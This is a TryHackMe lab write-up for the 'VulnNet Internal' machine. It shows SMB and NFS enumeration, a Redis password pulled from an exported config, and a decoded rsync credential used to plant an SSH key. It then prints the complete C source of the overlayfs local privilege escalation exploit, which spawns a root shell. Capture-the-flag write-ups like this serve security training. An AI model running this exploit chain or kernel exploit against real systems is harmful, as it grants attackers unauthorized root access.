TryHackMe: VulnNet Internal Writeup

Lots of tools to learn: NFS, Redis & rsync. Top it off with a sweet PrivEsc exploit.

Tanishq Chaudhary
8 min readJun 17, 2021

1. Scanning & Enumeration

1.1. Port Scanning

Not shown: 993 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
| 256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
|_ 256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35488/udp6 mountd
| 100005 1,2,3 54985/tcp mountd
| 100005 1,2,3 56181/tcp6 mountd
| 100005 1,2,3 56789/udp mountd
| 100021 1,3,4 32910/udp nlockmgr
| 100021 1,3,4 42203/tcp6 nlockmgr
| 100021 1,3,4 42497/tcp nlockmgr
| 100021 1,3,4 49999/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp open rsync (protocol version 31)
2049/tcp open nfs_acl 3 (RPC #100227)
9090/tcp filtered zeus-admin
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -39m57s, deviation: 1h09m16s, median: 1s
| nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| VULNNET-INTERNA<00> Flags: <unique><active>
| VULNNET-INTERNA<03> Flags: <unique><active>
| VULNNET-INTERNA<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: vulnnet-internal
| NetBIOS computer name: VULNNET-INTERNAL\x00
| Domain name: \x00
| FQDN: vulnnet-internal
|_ System time: 2021-06-16T05:50:05+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-16T03:50:05
|_ start_date: N/A

Info gathered:

  • ssh open
  • rpcbind looks interesting
  • rsync working
  • SMB open

Let’s start with SMB.

1.2. SMB Enumeration

Listing all the shares.

┌──(kali㉿kali)-[/tmp]
└─$ smbclient -L 10.10.95.197 -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shares Disk VulnNet Business Shares
IPC$ IPC IPC Service (vulnnet-internal server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

Using smbclient //10.10.95.197/shares -N we can get in, and see all of the files in the directories. We see temp and data directories in shares. One by one, I got all of the files, using the command:get file_name.extension.

Here’s all of what I got:

┌──(kali㉿kali)-[/tmp]
└─$ cat business-req.txt
We just wanted to remind you that we’re waiting for the DOCUMENT you agreed to send us so we can complete the TRANSACTION we discussed.
If you have any questions, please text or phone us.

┌──(kali㉿kali)-[/tmp]
└─$ cat data.txt
Purge regularly data that is not needed anymore

┌──(kali㉿kali)-[/tmp]
└─$ cat services.txt
THM{flag_was_here_yee}

None of them are interesting, and this looks like a dead end. Let’s check out port 111, rpcbind.

1.3. RPC-Bind

Googling, we get this. A DDoS attack. This is not useful for us.

Okay, how about the NFS thingy listed in the nmap scan results, inside of RPC bind?

1.4. NFS

Let’s list them out. The -e or --exports flag gives us the export list of a server.

┌──(kali㉿kali)-[~/Desktop/tools/impacket/examples]
└─$ showmount --exports 10.10.95.197
Export list for 10.10.95.197:
/opt/conf *

Configuration files are usually very interesting. Let’s get these files on our system.

┌──(kali㉿kali)-[/tmp]
└─$ mount -t nfs 10.10.95.197:/opt/conf conf
mount.nfs: failed to apply fstab options

What is happening here?

  • -t or --type helps us specify the type of mount we want to do, which is nfs. Common filesystem types are ext2, xfs, brtfs.
  • rest of the syntax is ssh-like
  • conf at the end is the name of the emptuy directory on my system

Don’t forget the sudo option if mount -t nfs gives you errors.

┌──(kali㉿kali)-[/tmp]
└─$ sudo mount -t nfs 10.10.95.197:/opt/conf conf
[sudo] password for kali:

┌──(kali㉿kali)-[/tmp]
└─$ cd conf

┌──(kali㉿kali)-[/tmp/conf]
└─$ ls
hp init opt profile.d redis vim wildmidi

┌──(kali㉿kali)-[/tmp/conf]
└─$ tree .
.
├── hp
│ └── hplip.conf
├── init
│ ├── anacron.conf
│ ├── lightdm.conf
│ └── whoopsie.conf
├── opt
├── profile.d
│ ├── bash_completion.sh
│ ├── cedilla-portuguese.sh
│ ├── input-method-config.sh
│ └── vte-2.91.sh
├── redis
│ └── redis.conf
├── vim
│ ├── vimrc
│ └── vimrc.tiny
└── wildmidi
└── wildmidi.cfg

Quick googling tells me redis is related to database. Things just got intersting!

1.5. Getting in Redis

Let’s search for passwords, using pass or password like terms.

┌──(kali㉿kali)-[/tmp/conf]
└─$ grep -r "pass" .
./redis/redis.conf:# 2) No password is configured.
./redis/redis.conf:# If the master is password protected (using the "requirepass" configuration
./redis/redis.conf:# masterauth <master-password>
./redis/redis.conf:requirepass "B65Hx562F@ggAZ@F"
./redis/redis.conf:# resync is enough, just passing the portion of data the slave missed while
./redis/redis.conf:# 150k passwords per second against a good box. This means that you should
./redis/redis.conf:# use a very strong password otherwise it will be very easy to break.
./redis/redis.conf:# requirepass foobared

Since we have the password, one option is to use telnet. It works using the same TCP/IP protocol we are familiar with. telnet MACHINE_IP PORT_NUMBER gets you in. Use the command AUTH mmm, where mmm is the password to authorize yourself.

Alternatively, download redis-cli, which looks better and has autocomplete suggestions.

Redis Cheat Sheet here

┌──(kali㉿kali)-[/]
└─$ redis-cli -h 10.10.95.197 -a "B65Hx562F@ggAZ@F"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.95.197:6379> keys *
1) "tmp"
2) "authlist"
3) "int"
4) "internal flag"
5) "marketlist"
10.10.95.197:6379> type "internal flag"
string
10.10.95.197:6379> get "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"
10.10.95.197:6379> type "marketlist"
list
10.10.95.197:6379> type "authlist"
list

The commands are self explanatory.

Exploring Redis

What about marketlist?

10.10.95.197:6379> lrange marketlist 0 9000
1) "Machine Learning"
2) "Penetration Testing"
3) "Programming"
4) "Data Analysis"
5) "Analytics"
6) "Marketing"
7) "Media Streaming"
10.10.95.197:6379> type "Machine Learning"
none
10.10.95.197:6379> type "Analytics"
none

Nothing. What about authlist?

10.10.95.197:6379> lrange "authlist" 0 9000
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
4) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="

lrange is basically an iterator, going from value 0 to 9000. Looks like a base64 encoded string.

┌──(kali㉿kali)-[~]
└─$ echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v

Great! We have the exact syntax listed, which we can modify for our use. 127.0.0.1 becomes MACHINE_IP.

Using rsync rsync://rsync-connect@MACHINE_IP we see an interesting directory. Continuing, we get rsync rsync://rsync-connect@MACHINE_IP:/file/sys-internal/. Listing this looks like sys-internal’s file system. Using a bit of directory enumeration, we can get the user flag and the id_rsa!

2. Foothold

2.1 Sneaking in SSH

I checked the .ssh directory, which seems to be empty. Putting in a file called authorized_keys file contating our id_rsa.pub will allow us to connect using SSH without as password ;)

┌──(kali㉿kali)-[~/.ssh]
└─$ rsync -ahv ./id_rsa.pub rsync://rsync-connect@10.10.81.234:/files/sys-internal/.ssh/authorized_keys
Password:
sending incremental file list
id_rsa.pub
sent 671 bytes received 35 bytes 83.06 bytes/sec
total size is 563 speedup is 0.80

┌──(kali㉿kali)-[~/.ssh]
└─$ rsync rsync://rsync-connect@10.10.81.234:/files/sys-internal/.ssh/
Password:
drwxrwxr-x 4,096 2021/06/16 01:12:15 .
-rw-r--r-- 563 2021/05/25 13:02:37 authorized_keys

Let’s login!

┌──(kali㉿kali)-[~/.ssh]
└─$ ssh sys-internal@10.10.81.234
The authenticity of host '10.10.81.234 (10.10.81.234)' can't be established.
ECDSA key fingerprint is SHA256:0ysriVjo72WRJI6UecJ9s8z6QHPNngSiMUKWFTO6Vr4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.81.234' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
541 packages can be updated.
342 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
sys-internal@vulnnet-internal:~$

*in hacker voice* We are in!

3. PrivEsc

Let’s check the common priv-esc vectors.

SUID? sudo? crontab? nope. Kernel exploit?

sys-internal@vulnnet-internal:~$ uname -a
Linux vulnnet-internal 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Yes! We can use the overlayfs local priv esc exploit.

Use the following -

cat << EOF > filename.extension
{blah blah}
EOF

syntax to echo multiple lines in a file.

sys-internal@vulnnet-internal:~$ cat <<EOF>xpl.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
xwritefile("/proc/self/setgroups", "deny"); sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}
EOF
sys-internal@vulnnet-internal:~$ gcc xpl.c
sys-internal@vulnnet-internal:~$ ./a.out
bash-4.4#

And we are done!

Originally published at https://chaudhary1337.github.io on June 17, 2021.

--

--